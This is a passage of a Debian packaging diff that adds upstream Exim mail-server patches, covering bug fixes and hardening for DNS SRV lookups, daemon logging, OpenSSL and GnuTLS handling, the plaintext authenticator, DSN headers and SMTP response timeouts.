Docs: Add note on lsearch for IPv4-mapped IPv6 addresses + +Cherry-picked from: 52af443324, c77d3d85fe +--- + doc/doc-docbook/spec.xfpt | 11 ++++++++++- + doc/ChangeLog | 2 +- + 2 files changed, 11 insertions(+), 2 deletions(-) + +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -18,7 +18,7 @@ JH/07 GnuTLS: Our use of late (post-hand + TLS connection attempt, so that the normal retry-in-clear can work (if + suitably configured). + +-JB/01 BZg 2375: fix expansions of 822 addresses having comments in local-part ++JB/01 Bug 2375: fix expansions of 822 addresses having comments in local-part + and/or domain. Found and fixed by Jason Betts. + + +--- a/doc/spec.txt ++++ b/doc/spec.txt +@@ -6302,6 +6302,10 @@ The following single-key lookup types ar + implicit key is the host's IP address rather than its name (see section + 10.12). + ++ Warning 3: Do not use an IPv4-mapped IPv6 address for a key; use the ++ IPv4, in dotted-quad form. (Exim converts IPv4-mapped IPv6 addresses to ++ this notation before executing the lookup.) ++ + * lsearch: The given file is a text file that is searched linearly for a line + beginning with the search key, terminated by a colon or white space or the + end of the line. The search is case-insensitive; that is, upper and lower +@@ -8003,7 +8007,11 @@ quote keys was made available in lsearch + implemented iplsearch files do require colons in IPv6 keys (notated using the + quoting facility) so as to distinguish them from IPv4 keys. For this reason, + when the lookup type is iplsearch, IPv6 addresses are converted using colons +-and not dots. In all cases, full, unabbreviated IPv6 addresses are always used. ++and not dots. ++ ++In all cases except IPv4-mapped IPv6, full, unabbreviated IPv6 addresses ++are always used. The latter are converted to IPv4 addresses, in dotted-quad ++form. + + Ideally, it would be nice to tidy up this anomalous situation by changing to + colons in all cases, given that quoting is now available for lsearch. However, diff --git a/debian/patches/75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch b/debian/patches/75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch new file mode 100644 index 0000000..cfdbe51 --- /dev/null +++ b/debian/patches/75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch @@ -0,0 +1,69 @@ +From 09720dd9506176294154dad7152f5f40554046a4 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Thu, 14 Mar 2019 12:26:34 +0000 +Subject: [PATCH 3/5] Fix crash from SRV lookup hitting a CNAME + +(cherry picked from commit 14bc9cf085aff7bd5147881e5b7068769a29b026) +--- + doc/ChangeLog | 4 ++++ + src/dns.c | 10 +++++++--- + 2 files changed, 11 insertions(+), 3 deletions(-) + +diff --git a/doc/ChangeLog b/doc/ChangeLog +index 419c1061..0f8d05b2 100644 +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -19,10 +19,14 @@ JH/07 GnuTLS: Our use of late (post-handshake) certificate verification, under + suitably configured). + + JB/01 Bug 2375: fix expansions of 822 addresses having comments in local-part + and/or domain. Found and fixed by Jason Betts. + ++JH/08 Add hardening against SRV & TLSA lookups the hit CNAMEs (a nonvalid ++ configuration). If a CNAME target was not a wellformed name pattern, a ++ crash could result. ++ + + Exim version 4.92 + ----------------- + + JH/01 Remove code calling the customisable local_scan function, unless a new +diff --git a/src/dns.c b/src/dns.c +index 0f0b435d..b7978c52 100644 +--- a/src/dns.c ++++ b/src/dns.c +@@ -714,11 +714,15 @@ regex has substrings that are used - the default uses a conditional. + This test is omitted for PTR records. These occur only in calls from the dnsdb + lookup, which constructs the names itself, so they should be OK. Besides, + bitstring labels don't conform to normal name syntax. (But the aren't used any + more.) + +-For SRV records, we omit the initial _smtp._tcp. components at the start. */ ++For SRV records, we omit the initial _smtp._tcp. components at the start. ++The check has been seen to bite on the destination of a SRV lookup that ++initiall hit a CNAME, for which the next name had only two components. ++RFC2782 makes no mention of the possibiility of CNAMES, but the Wikipedia ++article on SRV says they are not a valid configuration. */ + + #ifndef STAND_ALONE /* Omit this for stand-alone tests */ + + if (check_dns_names_pattern[0] != 0 && type != T_PTR && type != T_TXT) + { +@@ -730,12 +734,12 @@ if (check_dns_names_pattern[0] != 0 && type != T_PTR && type != T_TXT) + /* For an SRV lookup, skip over the first two components (the service and + protocol names, which both start with an underscore). */ + + if (type == T_SRV || type == T_TLSA) + { +- while (*checkname++ != '.'); +- while (*checkname++ != '.'); ++ while (*checkname && *checkname++ != '.') ; ++ while (*checkname && *checkname++ != '.') ; + } + + if (pcre_exec(regex_check_dns_names, NULL, CCS checkname, Ustrlen(checkname), + 0, PCRE_EOPT, ovector, nelem(ovector)) < 0) + { +-- +2.20.1 + diff --git a/debian/patches/75_08-Logging-fix-initial-listening-on-log-line.patch b/debian/patches/75_08-Logging-fix-initial-listening-on-log-line.patch new file mode 100644 index 0000000..4af2972 --- /dev/null +++ b/debian/patches/75_08-Logging-fix-initial-listening-on-log-line.patch @@ -0,0 +1,206 @@ +From e5be948a65fe601024e5d4256f64efbfed3dd72e Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Mon, 18 Mar 2019 00:31:43 +0000 +Subject: [PATCH 4/5] Logging: fix initial listening-on log line + +(cherry picked from commit 254f38d1c5ada5e4df0bccb385dc466549620c71) +--- + doc/ChangeLog | 4 +++ + src/daemon.c | 73 +++++++++++++++++++++++++++---------------- + src/host.c | 1 + + src/structs.h | 1 + + test/confs/0282 | 2 +- + test/log/0282 | 2 +- + 6 files changed, 54 insertions(+), 29 deletions(-) + +diff --git a/doc/ChangeLog b/doc/ChangeLog +index 0f8d05b2..3c0ffbf0 100644 +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -23,10 +23,14 @@ JB/01 Bug 2375: fix expansions of 822 addresses having comments in local-part + + JH/08 Add hardening against SRV & TLSA lookups the hit CNAMEs (a nonvalid + configuration). If a CNAME target was not a wellformed name pattern, a + crash could result. + ++JH/09 Logging: Fix initial listening-on line for multiple ports for an IP when ++ the OS reports them interleaved with other addresses. ++ ++ + + Exim version 4.92 + ----------------- + + JH/01 Remove code calling the customisable local_scan function, unless a new +diff --git a/src/daemon.c b/src/daemon.c +index a852192e..01da3936 100644 +--- a/src/daemon.c ++++ b/src/daemon.c +@@ -1625,12 +1625,12 @@ if (f.inetd_wait_mode) + else if (f.daemon_listen) + { + int i, j; + int smtp_ports = 0; + int smtps_ports = 0; +- ip_address_item * ipa, * i2; +- uschar * p = big_buffer; ++ ip_address_item * ipa; ++ uschar * p; + uschar * qinfo = queue_interval > 0 + ? string_sprintf("-q%s", readconf_printtime(queue_interval)) + : US"no queue runs"; + + /* Build a list of listening addresses in big_buffer, but limit it to 10 +@@ -1638,73 +1638,92 @@ else if (f.daemon_listen) + + It is now possible to have some ports listening for SMTPS (the old, + deprecated protocol that starts TLS without using STARTTLS), and others + listening for standard SMTP. Keep their listings separate. */ + +- for (j = 0; j < 2; j++) ++ for (int j = 0, i; j < 2; j++) + { + for (i = 0, ipa = addresses; i < 10 && ipa; i++, ipa = ipa->next) + { + /* First time round, look for SMTP ports; second time round, look for +- SMTPS ports. For the first one of each, insert leading text. */ ++ SMTPS ports. Build IP+port strings. */ + + if (host_is_tls_on_connect_port(ipa->port) == (j > 0)) + { + if (j == 0) +- { +- if (smtp_ports++ == 0) +- { +- memcpy(p, "SMTP on", 8); +- p += 7; +- } +- } ++ smtp_ports++; + else +- if (smtps_ports++ == 0) +- p += sprintf(CS p, "%sSMTPS on", +- smtp_ports == 0 ? "" : " and for "); ++ smtps_ports++; + + /* Now the information about the port (and sometimes interface) */ + + if (ipa->address[0] == ':' && ipa->address[1] == 0) + { /* v6 wildcard */ + if (ipa->next && ipa->next->address[0] == 0 && + ipa->next->port == ipa->port) + { +- p += sprintf(CS p, " port %d (IPv6 and IPv4)", ipa->port); +- ipa = ipa->next; ++ ipa->log = string_sprintf(" port %d (IPv6 and IPv4)", ipa->port); ++ (ipa = ipa->next)->log = NULL; + } + else if (ipa->v6_include_v4) +- p += sprintf(CS p, " port %d (IPv6 with IPv4)", ipa->port); ++ ipa->log = string_sprintf(" port %d (IPv6 with IPv4)", ipa->port); + else +- p += sprintf(CS p, " port %d (IPv6)", ipa->port); ++ ipa->log = string_sprintf(" port %d (IPv6)", ipa->port); + } + else if (ipa->address[0] == 0) /* v4 wildcard */ +- p += sprintf(CS p, " port %d (IPv4)", ipa->port); ++ ipa->log = string_sprintf(" port %d (IPv4)", ipa->port); + else /* check for previously-seen IP */ + { ++ ip_address_item * i2; + for (i2 = addresses; i2 != ipa; i2 = i2->next) + if ( host_is_tls_on_connect_port(i2->port) == (j > 0) + && Ustrcmp(ipa->address, i2->address) == 0 + ) + { /* found; append port to list */ +- if (p[-1] == '}') p--; +- while (isdigit(*--p)) ; +- p += 1 + sprintf(CS p+1, "%s%d,%d}", *p == ',' ? "" : "{", +- i2->port, ipa->port); ++ for (p = i2->log; *p; ) p++; /* end of existing string */ ++ if (*--p == '}') *p = '\0'; /* drop EOL */ ++ while (isdigit(*--p)) ; /* char before port */ ++ ++ i2->log = *p == ':' /* no list yet? */ ++ ? string_sprintf("%.*s{%s,%d}", ++ (int)(p - i2->log + 1), i2->log, p+1, ipa->port) ++ : string_sprintf("%s,%d}", i2->log, ipa->port); ++ ipa->log = NULL; + break; + } + if (i2 == ipa) /* first-time IP */ +- p += sprintf(CS p, " [%s]:%d", ipa->address, ipa->port); ++ ipa->log = string_sprintf(" [%s]:%d", ipa->address, ipa->port); + } + } + } ++ } + +- if (ipa) ++ p = big_buffer; ++ for (int j = 0, i; j < 2; j++) ++ { ++ /* First time round, look for SMTP ports; second time round, look for ++ SMTPS ports. For the first one of each, insert leading text. */ ++ ++ if (j == 0) + { +- memcpy(p, " ...", 5); +- p += 4; ++ if (smtp_ports > 0) ++ p += sprintf(CS p, "SMTP on"); + } ++ else ++ if (smtps_ports > 0) ++ p += sprintf(CS p, "%sSMTPS on", ++ smtp_ports == 0 ? "" : " and for "); ++ ++ /* Now the information about the port (and sometimes interface) */ ++ ++ for (i = 0, ipa = addresses; i < 10 && ipa; i++, ipa = ipa->next) ++ if (host_is_tls_on_connect_port(ipa->port) == (j > 0)) ++ if (ipa->log) ++ p += sprintf(CS p, "%s", ipa->log); ++ ++ if (ipa) ++ p += sprintf(CS p, " ..."); + } + + log_write(0, LOG_MAIN, + "exim %s daemon started: pid=%d, %s, listening for %s", + version_string, getpid(), qinfo, big_buffer); +diff --git a/src/host.c b/src/host.c +index 29c977fe..a3b0977b 100644 +--- a/src/host.c ++++ b/src/host.c +@@ -757,10 +757,11 @@ while ((s = string_nextinlist(&list, &sep, NULL, 0))) + next = store_get(sizeof(ip_address_item)); + next->next = NULL; + Ustrcpy(next->address, s); + next->port = port; + next->v6_include_v4 = FALSE; ++ next->log = NULL; + + if (!yield) + yield = last = next; + else + { +diff --git a/src/structs.h b/src/structs.h +index 20db0e5f..1e63d752 100644 +--- a/src/structs.h ++++ b/src/structs.h +@@ -442,10 +442,11 @@ hold an IPv6 address. */ + typedef struct ip_address_item { + struct ip_address_item *next; + int port; + BOOL v6_include_v4; /* Used in the daemon */ + uschar address[46]; ++ uschar * log; /* portion of "listening on" log line */ + } ip_address_item; + + /* Structure for chaining together arbitrary strings. */ + + typedef struct string_item { +-- +2.20.1 + diff --git a/debian/patches/75_09-OpenSSL-Fix-aggregation-of-messages.patch b/debian/patches/75_09-OpenSSL-Fix-aggregation-of-messages.patch new file mode 100644 index 0000000..b82891d --- /dev/null +++ b/debian/patches/75_09-OpenSSL-Fix-aggregation-of-messages.patch @@ -0,0 +1,127 @@ +From 332ebeaf8139b2b75f475880fc14b63c7c45c706 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Tue, 19 Mar 2019 15:33:31 +0000 +Subject: [PATCH 5/5] OpenSSL: Fix aggregation of messages. + +Broken-by: a5ffa9b475 +(cherry picked from commit c09dbcfb71f4b9a42cbfd8a20e0be6bfa1b12488) +--- + doc/ChangeLog | 5 +++ + src/tls-openssl.c | 24 ++++++++++---- + test/confs/2152 | 76 +++++++++++++++++++++++++++++++++++++++++++ + test/log/2152 | 9 +++++ + 4 files changed, 108 insertions(+), 6 deletions(-) + create mode 100644 test/confs/2152 + create mode 100644 test/log/2152 + +diff --git a/doc/ChangeLog b/doc/ChangeLog +index 3c0ffbf0..3d63725f 100644 +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -26,10 +26,15 @@ JH/08 Add hardening against SRV & TLSA lookups the hit CNAMEs (a nonvalid + crash could result. + + JH/09 Logging: Fix initial listening-on line for multiple ports for an IP when + the OS reports them interleaved with other addresses. + ++JH/10 OpenSSL: Fix aggregation of messages. Previously, when PIPELINING was ++ used both for input and for a verify callout, both encrypted, SMTP ++ responses being sent by the server could be lost. This resulted in ++ dropped connections and sometimes bounces generated by a peer sending ++ to this system. + + + Exim version 4.92 + ----------------- + +diff --git a/src/tls-openssl.c b/src/tls-openssl.c +index 8f4cf4d8..cc0ead02 100644 +--- a/src/tls-openssl.c ++++ b/src/tls-openssl.c +@@ -272,10 +272,11 @@ Server: + */ + + typedef struct { + SSL_CTX * ctx; + SSL * ssl; ++ gstring * corked; + } exim_openssl_client_tls_ctx; + + static SSL_CTX *server_ctx = NULL; + static SSL *server_ssl = NULL; + +@@ -2471,10 +2472,11 @@ BOOL require_ocsp = FALSE; + #endif + + rc = store_pool; + store_pool = POOL_PERM; + exim_client_ctx = store_get(sizeof(exim_openssl_client_tls_ctx)); ++exim_client_ctx->corked = NULL; + store_pool = rc; + + #ifdef SUPPORT_DANE + tlsp->tlsa_usage = 0; + #endif +@@ -2906,22 +2908,29 @@ Used by both server-side and client-side TLS. + + int + tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more) + { + int outbytes, error, left; +-SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl; +-static gstring * corked = NULL; ++SSL * ssl = ct_ctx ++ ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl; ++static gstring * server_corked = NULL; ++gstring ** corkedp = ct_ctx ++ ? &((exim_openssl_client_tls_ctx *)ct_ctx)->corked : &server_corked; ++gstring * corked = *corkedp; + + DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__, + buff, (unsigned long)len, more ? ", more" : ""); + + /* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when + "more" is notified. This hack is only ok if small amounts are involved AND only + one stream does it, in one context (i.e. no store reset). Currently it is used +-for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */ +-/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's +-a store reset there. */ ++for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. ++We support callouts done by the server process by using a separate client ++context for the stashed information. */ ++/* + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's ++a store reset there, so use POOL_PERM. */ ++/* + if CHUNKING, cmds EHLO,MAIL,RCPT(s),BDAT */ + + if (!ct_ctx && (more || corked)) + { + #ifdef EXPERIMENTAL_PIPE_CONNECT + int save_pool = store_pool; +@@ -2933,14 +2942,17 @@ if (!ct_ctx && (more || corked)) + #ifdef EXPERIMENTAL_PIPE_CONNECT + store_pool = save_pool; + #endif + + if (more) ++ { ++ *corkedp = corked; + return len; ++ } + buff = CUS corked->s; + len = corked->ptr; +- corked = NULL; ++ *corkedp = NULL; + } + + for (left = len; left > 0;) + { + DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left); +diff --git a/test/confs/2152 b/test/confs/2152 +new file mode 100644 +index 00000000..f783192b +diff --git a/test/log/2152 b/test/log/2152 +new file mode 100644 +index 00000000..720200be +-- +2.20.1 + diff --git a/debian/patches/75_10-Harden-plaintext-authenticator.patch b/debian/patches/75_10-Harden-plaintext-authenticator.patch new file mode 100644 index 0000000..9dcfd47 --- /dev/null +++ b/debian/patches/75_10-Harden-plaintext-authenticator.patch @@ -0,0 +1,55 @@ +From e5b942ae007d0533fbd599c64d550f3a8355b940 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Thu, 21 Mar 2019 20:01:03 +0000 +Subject: [PATCH] Harden plaintext authenticator + +Cherry-picked from: f9fc942757 +--- + doc/ChangeLog | 5 +++++ + src/auths/plaintext.c | 6 +----- + 2 files changed, 6 insertions(+), 5 deletions(-) + +diff --git a/doc/ChangeLog b/doc/ChangeLog +index 3d63725f..c34e60d1 100644 +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -32,10 +32,15 @@ JH/10 OpenSSL: Fix aggregation of messages. Previously, when PIPELINING was + used both for input and for a verify callout, both encrypted, SMTP + responses being sent by the server could be lost. This resulted in + dropped connections and sometimes bounces generated by a peer sending + to this system. + ++JH/11 Harden plaintext authenticator against a badly misconfigured client-send ++ string. Previously it was possible to cause undefined behaviour in a ++ library routine (usually a crash). Found by "zerons". ++ ++ + + Exim version 4.92 + ----------------- + + JH/01 Remove code calling the customisable local_scan function, unless a new +diff --git a/src/auths/plaintext.c b/src/auths/plaintext.c +index 7a0f7885..fa05b0ad 100644 +--- a/src/auths/plaintext.c ++++ b/src/auths/plaintext.c +@@ -221,15 +221,11 @@ while ((s = string_nextinlist(&text, &sep, big_buffer, big_buffer_size))) + for (i = 0; i < len; i++) + if (ss[i] == '^') + if (ss[i+1] != '^') + ss[i] = 0; + else +- { +- i++; +- len--; +- memmove(ss + i, ss + i + 1, len - i); +- } ++ if (--len > ++i) memmove(ss + i, ss + i + 1, len - i); + + /* The first string is attached to the AUTH command; others are sent + unembellished. */ + + if (first) +-- +2.20.1 + diff --git a/debian/patches/75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch b/debian/patches/75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch new file mode 100644 index 0000000..8322d93 --- /dev/null +++ b/debian/patches/75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch @@ -0,0 +1,54 @@ +From 5e64b73ef7cdaf20b998b3345a588b462fd30bfb Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Tue, 7 May 2019 22:55:41 +0100 +Subject: [PATCH] GnuTLS: fix $tls_out_ocsp under hosts_request_ocsp + +(cherry picked from commit 7a501c874f028f689c44999ab05bb0d39da46941) +--- + doc/ChangeLog | 3 +++ + src/tls-gnu.c | 12 ++++++++---- + test/log/5651 | 2 +- + test/log/5730 | 8 ++++---- + 4 files changed, 16 insertions(+), 9 deletions(-) + +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -39,6 +39,9 @@ JH/11 Harden plaintext authenticator aga + library routine (usually a crash). Found by "zerons". + + ++JH/18 GnuTLS: fix $tls_out_ocsp under hosts_request_ocsp. Previously the ++ verification result was not updated unless hosts_require_ocsp applied. ++ + + Exim version 4.92 + ----------------- +--- a/src/tls-gnu.c ++++ b/src/tls-gnu.c +@@ -2450,7 +2450,7 @@ if (!verify_certificate(state, errstr)) + } + + #ifndef DISABLE_OCSP +-if (require_ocsp) ++if (request_ocsp) + { + DEBUG(D_tls) + { +@@ -2474,10 +2474,14 @@ if (require_ocsp) + { + tlsp->ocsp = OCSP_FAILED; + tls_error(US"certificate status check failed", NULL, state->host, errstr); +- return NULL; ++ if (require_ocsp) ++ return FALSE; ++ } ++ else ++ { ++ DEBUG(D_tls) debug_printf("Passed OCSP checking\n"); ++ tlsp->ocsp = OCSP_VFIED; + } +- DEBUG(D_tls) debug_printf("Passed OCSP checking\n"); +- tlsp->ocsp = OCSP_VFIED; + } + #endif + diff --git a/debian/patches/75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch b/debian/patches/75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch new file mode 100644 index 0000000..5b98faa --- /dev/null +++ b/debian/patches/75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch @@ -0,0 +1,42 @@ +From 44893ba5249c6c6d5a0d62a1cc57ba3fbf7185b4 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Sun, 19 May 2019 12:12:36 +0100 +Subject: [PATCH 1/2] GnuTLS: fix the advertising of acceptable certs by the + server. Bug 2389 + +(cherry picked from commit 12d95aa62042377fc9f603245a17a43142972447) +--- + doc/ChangeLog | 4 ++++ + src/tls-gnu.c | 8 ++++++++ + 2 files changed, 12 insertions(+) + +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -42,6 +42,10 @@ JH/11 Harden plaintext authenticator aga + JH/18 GnuTLS: fix $tls_out_ocsp under hosts_request_ocsp. Previously the + verification result was not updated unless hosts_require_ocsp applied. + ++JH/20 Bug 2389: fix server advertising of usable certificates, under GnuTLS in ++ directory-of-certs mode. Previously they were advertised despite the ++ documentation. ++ + + Exim version 4.92 + ----------------- +--- a/src/tls-gnu.c ++++ b/src/tls-gnu.c +@@ -1133,6 +1133,14 @@ else + #endif + gnutls_certificate_set_x509_trust_file(state->x509_cred, + CS state->exp_tls_verify_certificates, GNUTLS_X509_FMT_PEM); ++ ++#ifdef SUPPORT_CA_DIR ++ /* Mimic the behaviour with OpenSSL of not advertising a usable-cert list ++ when using the directory-of-certs config model. */ ++ ++ if ((statbuf.st_mode & S_IFMT) == S_IFDIR) ++ gnutls_certificate_send_x509_rdn_sequence(state->session, 1); ++#endif + } + + if (cert_count < 0) diff --git a/debian/patches/75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch b/debian/patches/75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch new file mode 100644 index 0000000..0eb4d4b --- /dev/null +++ b/debian/patches/75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch @@ -0,0 +1,52 @@ +From 454bab46ae6812e29652d10c390451c962a6f806 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Tue, 4 Jun 2019 18:13:21 +0100 +Subject: [PATCH 2/2] Use dsn_from for success-DSN messages. Bug 2404 + +(cherry picked from commit 87abcb247b4444bab5fd0bcb212ddb26d5fd9191) +--- + doc/ChangeLog | 4 ++++ + src/deliver.c | 4 ++-- + 2 files changed, 6 insertions(+), 2 deletions(-) + +diff --git a/doc/ChangeLog b/doc/ChangeLog +index 5a3e453d..1a12c014 100644 +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -65,6 +65,10 @@ JH/20 Bug 2389: fix server advertising of usable certificates, under GnuTLS in + directory-of-certs mode. Previously they were advertised despite the + documentation. + ++JH/27 Bug 2404: Use the main-section configuration option "dsn_from" for ++ success-DSN messages. Previously the From: header was always the default ++ one for these; the option was ignored. ++ + + Exim version 4.92 + ----------------- +diff --git a/src/deliver.c b/src/deliver.c +index e1799411..4720f596 100644 +--- a/src/deliver.c ++++ b/src/deliver.c +@@ -7365,8 +7365,8 @@ if (addr_senddsn) + if (errors_reply_to) + fprintf(f, "Reply-To: %s\n", errors_reply_to); + ++ moan_write_from(f); + fprintf(f, "Auto-Submitted: auto-generated\n" +- "From: Mail Delivery System <Mailer-Daemon@%s>\n" + "To: %s\n" + "Subject: Delivery Status Notification\n" + "Content-Type: multipart/report; report-type=delivery-status; boundary=%s\n" +@@ -7377,7 +7377,7 @@ if (addr_senddsn) + + "This message was created automatically by mail delivery software.\n" + " ----- The following addresses had successful delivery notifications -----\n", +- qualify_domain_sender, sender_address, bound, bound); ++ sender_address, bound, bound); + + for (addr_dsntmp = addr_senddsn; addr_dsntmp; + addr_dsntmp = addr_dsntmp->next) +-- +2.20.1 + diff --git a/debian/patches/75_14-Fix-smtp-response-timeout.patch b/debian/patches/75_14-Fix-smtp-response-timeout.patch new file mode 100644 index 0000000..abf2da4 --- /dev/null +++ b/debian/patches/75_14-Fix-smtp-response-timeout.patch @@ -0,0 +1,325 @@ +From 0a5441fcd93ae4145c07b3ed138dfe0e107174e0 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Mon, 27 May 2019 23:44:31 +0100 +Subject: [PATCH 1/2] Fix smtp response timeout + +--- + doc/ChangeLog | 6 ++++++ + src/functions.h | 4 ++-- + src/ip.c | 16 +++++++--------- + src/malware.c | 26 +++++++++++++------------- + src/routers/iplookup.c | 2 +- + src/smtp_out.c | 9 +++++---- + src/spam.c | 2 +- + src/transports/smtp_socks.c | 6 +++--- + src/verify.c | 2 +- + 9 files changed, 39 insertions(+), 34 deletions(-) + +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -50,6 +50,13 @@ JH/27 Bug 2404: Use the main-section con + success-DSN messages. Previously the From: header was always the default + one for these; the option was ignored. + ++JH/28 Fix the timeout on smtp response to apply to the whole response. ++ Previously it was reset for every read, so a teergrubing peer sending ++ single bytes within the time limit could extend the connection for a ++ long time. Credit to Qualsys Security Advisory Team for the discovery. ++[from GIT master] ++ ++ + + Exim version 4.92 + ----------------- +--- a/src/functions.h ++++ b/src/functions.h +@@ -225,7 +225,7 @@ extern uschar *expand_string_copy(const + extern int_eximarith_t expand_string_integer(uschar *, BOOL); + extern void modify_variable(uschar *, void *); + +-extern BOOL fd_ready(int, int); ++extern BOOL fd_ready(int, time_t); + + extern int filter_interpret(uschar *, int, address_item **, uschar **); + extern BOOL filter_personal(string_item *, BOOL); +@@ -271,7 +271,7 @@ extern int ip_connectedsocket(int, c + int, host_item *, uschar **, const blob *); + extern int ip_get_address_family(int); + extern void ip_keepalive(int, const uschar *, BOOL); +-extern int ip_recv(client_conn_ctx *, uschar *, int, int); ++extern int ip_recv(client_conn_ctx *, uschar *, int, time_t); + extern int ip_socket(int, int); + + extern int ip_tcpsocket(const uschar *, uschar **, int); +--- a/src/ip.c ++++ b/src/ip.c +@@ -566,16 +566,15 @@ if (setsockopt(sock, SOL_SOCKET, SO_KEEP + /* + Arguments: + fd the file descriptor +- timeout the timeout, seconds ++ timelimit the timeout endpoint, seconds-since-epoch + Returns: TRUE => ready for i/o + FALSE => timed out, or other error + */ + BOOL +-fd_ready(int fd, int timeout) ++fd_ready(int fd, time_t timelimit) + { + fd_set select_inset; +-time_t start_recv = time(NULL); +-int time_left = timeout; ++int time_left = timelimit - time(NULL); + int rc; + + if (time_left <= 0) +@@ -609,8 +608,7 @@ do + DEBUG(D_transport) debug_printf("EINTR while waiting for socket data\n"); + + /* Watch out, 'continue' jumps to the condition, not to the loops top */ +- time_left = timeout - (time(NULL) - start_recv); +- if (time_left > 0) continue; ++ if ((time_left = timelimit - time(NULL)) > 0) continue; + } + + if (rc <= 0) +@@ -634,18 +632,18 @@ Arguments: + cctx the connection context (socket fd, possibly TLS context) + buffer to read into + bufsize the buffer size +- timeout the timeout ++ timelimit the timeout endpoint, seconds-since-epoch + + Returns: > 0 => that much data read + <= 0 on error or EOF; errno set - zero for EOF + */ + + int +-ip_recv(client_conn_ctx * cctx, uschar * buffer, int buffsize, int timeout) ++ip_recv(client_conn_ctx * cctx, uschar * buffer, int buffsize, time_t timelimit) + { + int rc; + +-if (!fd_ready(cctx->sock, timeout)) ++if (!fd_ready(cctx->sock, timelimit)) + return -1; + + /* The socket is ready, read from it (via TLS if it's active). On EOF (i.e. +--- a/src/malware.c ++++ b/src/malware.c +@@ -349,13 +349,13 @@ return cre; + -2 on timeout or error + */ + static int +-recv_line(int fd, uschar * buffer, int bsize, int tmo) ++recv_line(int fd, uschar * buffer, int bsize, time_t tmo) + { + uschar * p = buffer; + ssize_t rcv; + BOOL ok = FALSE; + +-if (!fd_ready(fd, tmo-time(NULL))) ++if (!fd_ready(fd, tmo)) + return -2; + + /*XXX tmo handling assumes we always get a whole line */ +@@ -382,9 +382,9 @@ return p - buffer; + + /* return TRUE iff size as requested */ + static BOOL +-recv_len(int sock, void * buf, int size, int tmo) ++recv_len(int sock, void * buf, int size, time_t tmo) + { +-return fd_ready(sock, tmo-time(NULL)) ++return fd_ready(sock, tmo) + ? recv(sock, buf, size, 0) == size + : FALSE; + } +@@ -430,7 +430,7 @@ for (;;) + } + + static inline int +-mksd_read_lines (int sock, uschar *av_buffer, int av_buffer_size, int tmo) ++mksd_read_lines (int sock, uschar *av_buffer, int av_buffer_size, time_t tmo) + { + client_conn_ctx cctx = {.sock = sock}; + int offset = 0; +@@ -438,7 +438,7 @@ int i; + + do + { +- i = ip_recv(&cctx, av_buffer+offset, av_buffer_size-offset, tmo-time(NULL)); ++ i = ip_recv(&cctx, av_buffer+offset, av_buffer_size-offset, tmo); + if (i <= 0) + { + (void) malware_panic_defer(US"unable to read from mksd UNIX socket (/var/run/mksd/socket)"); +@@ -497,7 +497,7 @@ switch (*line) + + static int + mksd_scan_packed(struct scan * scanent, int sock, const uschar * scan_filename, +- int tmo) ++ time_t tmo) + { + struct iovec iov[3]; + const char *cmd = "MSQ\n"; +@@ -746,7 +746,7 @@ if (!malware_ok) + if (m_sock_send(malware_daemon_ctx.sock, scanrequest, Ustrlen(scanrequest), &errstr) < 0) + return m_panic_defer(scanent, CUS callout_address, errstr); + +- bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL)); ++ bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo); + + if (bread <= 0) + return m_panic_defer_3(scanent, CUS callout_address, +@@ -1064,7 +1064,7 @@ badseek: err = errno; + if (m_sock_send(malware_daemon_ctx.sock, cmdopt[i], Ustrlen(cmdopt[i]), &errstr) < 0) + return m_panic_defer(scanent, CUS callout_address, errstr); + +- bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL)); ++ bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo); + if (bread > 0) av_buffer[bread]='\0'; + if (bread < 0) + return m_panic_defer_3(scanent, 